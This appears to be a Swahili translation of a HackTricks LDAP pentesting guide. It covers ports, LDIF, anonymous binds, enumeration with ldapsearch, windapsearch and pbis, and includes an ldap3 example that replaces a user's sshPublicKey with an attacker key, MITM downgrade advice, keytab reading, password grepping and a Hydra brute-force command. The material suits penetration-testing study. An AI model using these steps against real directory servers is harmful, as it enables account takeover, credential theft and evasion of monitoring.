Matumizi ya LDAP (Lightweight Directory Access Protocol) ni hasa kwa kutafuta vitu mbalimbali kama mashirika, watu, na rasilimali kama faili na vifaa ndani ya mitandao, ya umma na binafsi. Inatoa njia iliyo rahisi ikilinganishwa na mtangulizi wake, DAP, kwa kuwa na alama ndogo ya msimbo.
Maktaba za LDAP zimeundwa ili kuruhusu usambazaji wao kwenye seva kadhaa, ambapo kila seva ina toleo lililorekebishwa na lililosawazishwa la maktaba, linalojulikana kama Wakala wa Mfumo wa Maktaba (DSA). Wajibu wa kushughulikia maombi uko kabisa na seva ya LDAP, ambayo inaweza kuwasiliana na DSAs wengine inapohitajika ili kutoa jibu lililounganishwa kwa mombaji.
Muundo wa maktaba ya LDAP unafanana na hiyerarhya ya mti, ikianza na maktaba ya mzizi juu. Hii inajitenga hadi nchi, ambazo zinagawanyika zaidi katika mashirika, na kisha katika vitengo vya shirika vinavyowakilisha sehemu mbalimbali au idara, hatimaye kufikia kiwango cha vitu binafsi, ikiwa ni pamoja na watu na rasilimali zinazoshirikiwa kama faili na printers.
Default port: 389 na 636(ldaps). Katalogi ya Kimataifa (LDAP katika ActiveDirectory) inapatikana kwa default kwenye bandari 3268, na 3269 kwa LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) inafafanua maudhui ya directory kama seti ya rekodi. Inaweza pia kuwakilisha maombi ya sasisho (Ongeza, Badilisha, Futa, Badilisha jina).
Mistari 1-3 inaelezea kiwango cha juu cha kikoa cha ndani
Mistari 5-8 inaelezea kiwango cha kwanza cha kikoa cha moneycorp (moneycorp.local)
Mistari 10-16 inaelezea vitengo viwili vya shirika: dev na sales
Mistari 18-26 inaunda kitu cha kikoa na kupeana sifa zenye thamani
Andika data
Kumbuka kwamba ikiwa unaweza kubadilisha thamani unaweza kuwa na uwezo wa kufanya vitendo vya kuvutia sana. Kwa mfano, fikiria kwamba unaweza kubadilisha taarifa za "sshPublicKey" za mtumiaji wako au mtumiaji yeyote. Inaweza kuwa na uwezekano mkubwa kwamba ikiwa sifa hii ipo, basi ssh inasoma funguo za umma kutoka LDAP. Ikiwa unaweza kubadilisha funguo za umma za mtumiaji, utaweza kuingia kama mtumiaji huyo hata kama uthibitishaji wa nenosiri haujawezeshwa katika ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
Ikiwa LDAP inatumika bila SSL unaweza sniff credentials in plain text katika mtandao.
Pia, unaweza kufanya MITM shambulio katika mtandao kati ya seva ya LDAP na mteja. Hapa unaweza kufanya Downgrade Attack ili mteja atumie credentials in clear text kuingia.
Ikiwa SSL inatumika unaweza kujaribu kufanya MITM kama ilivyoelezwa hapo juu lakini ukitoa cheti cha uwongo, ikiwa mtumiaji atakubali, unaweza kudharau njia ya uthibitishaji na kuona credentials tena.
Anonymous Access
Bypass TLS SNI check
Kulingana na hii andiko kwa kuingia tu kwenye seva ya LDAP kwa jina la kikoa chochote (kama company.com) aliweza kuwasiliana na huduma ya LDAP na kutoa taarifa kama mtumiaji asiyejulikana:
LDAP anonymous binds inaruhusu washambuliaji wasio na uthibitisho kupata taarifa kutoka kwa eneo, kama vile orodha kamili ya watumiaji, vikundi, kompyuta, sifa za akaunti za mtumiaji, na sera ya nywila ya eneo. Hii ni mipangilio ya urithi, na kuanzia Windows Server 2003, ni watumiaji walio na uthibitisho pekee ndio wanaruhusiwa kuanzisha maombi ya LDAP.
Hata hivyo, wasimamizi wanaweza kuwa walihitaji kuanzisha programu maalum ili kuruhusu anonymous binds na kutoa zaidi ya kiwango kilichokusudiwa cha ufikiaji, hivyo kuwapa watumiaji wasio na uthibitisho ufikiaji wa vitu vyote katika AD.
Valid Credentials
Ikiwa una sifa halali za kuingia kwenye seva ya LDAP, unaweza kutupa taarifa zote kuhusu Msimamizi wa Eneo kwa kutumia:
Mara tu unapo kuwa na muktadha wa majina unaweza kufanya maswali mengine ya kusisimua. Hili swali rahisi linapaswa kukuonyesha vitu vyote katika directory:
Windapsearch ni script ya Python inayofaa kuorodhesha watumiaji, vikundi, na kompyuta kutoka kwa eneo la Windows kwa kutumia maswali ya LDAP.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Angalia akreditif za bure au ikiwa akreditif zako ni halali:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Ikiwa unapata kitu kinachosema kwamba "bind lazima ikamilishwe" inamaanisha kwamba taarifa za kuingia si sahihi.
Ili kuona kama una ufikiaji wa nenosiri lolote unaweza kutumia grep baada ya kutekeleza moja ya maswali:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
Tafadhali, fahamu kwamba nywila ambazo unaweza kupata hapa huenda zisikuwa za kweli...
pbis
Unaweza kupakua pbis kutoka hapa: https://github.com/BeyondTrust/pbis-open/ na kawaida huwekwa katika /opt/pbis.
Pbis inakuwezesha kupata taarifa za msingi kwa urahisi:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users|grep"Name:"|sed-e"s,\\\,\\\\\\\,g"|awk'{print $2}'|whilereadname; do./list-groups-for-user"$name"; echo-e"========================\n"; done#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups|grep"Name:"|sed-e"s,\\\,\\\\\\\,g"|awk'{print $2}'|whilereadname; doecho"$name"; ./enum-members--by-name"$name"; echo-e"========================\n"; done#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Godap ni kiolesura cha terminal kinachoshirikiana kwa LDAP ambacho kinaweza kutumika kuingiliana na vitu na sifa katika AD na seva nyingine za LDAP. Inapatikana kwa Windows, Linux na MacOS na inasaidia viunganishi rahisi, pass-the-hash, pass-the-ticket & pass-the-cert, pamoja na vipengele vingine maalum kama vile kutafuta/kutengeneza/kubadilisha/kufuta vitu, kuongeza/kuondoa watumiaji kutoka kwa vikundi, kubadilisha nywila, kuhariri ruhusa za kitu (DACLs), kubadilisha DNS iliyounganishwa na Active-Directory (ADIDNS), kusafirisha kwa faili za JSON, nk.
Ldapx ni proxy ya LDAP inayoweza kubadilika ambayo inaweza kutumika kukagua & kubadilisha trafiki ya LDAP kutoka kwa zana nyingine. Inaweza kutumika kuficha trafiki ya LDAP ili kujaribu kupita zana za ulinzi wa utambulisho & ufuatiliaji wa LDAP na inatekeleza mbinu nyingi zilizowasilishwa katika mazungumzo ya MaLDAPtive.
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
Configuration Files
General
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
HackTricks Amri za Otomatiki
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
